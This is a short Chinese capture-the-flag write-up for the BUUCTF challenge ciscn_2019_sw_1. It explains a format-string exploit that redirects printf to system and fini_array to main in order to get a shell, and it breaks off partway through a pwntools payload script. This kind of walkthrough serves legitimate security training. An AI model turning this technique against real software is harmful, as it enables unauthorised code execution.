BUUCTF之“ciscn_2019_sw_1”

格式化字符串结合程序执行，更深入理解的一次实践.

本题只有一次格式华字符串漏洞利用机会且写入字节有限，题目保护：
只开了NX，我们考虑利用任意写将printf函数地址改为system，但是少了一个“/bin/sh\x00”
根据函数正常的执行流，函数执行前会调用init类初始化函数，执行后会调用fini.array[]数组里地址对应函数。所以如果我们将其改为main函数，那么可以再次输入参数“/bin/sh\x00”拿到shell，
现在问题是怎么改：
我发现一种好理解的方式
我们先看wp1：

from pwn import *

sh = remote('node4.buuoj.cn',27731)

payload = b"%2052c%13$hn%31692c%14$hn%356c%15$hn" + p32(0x804989c + 2) + p32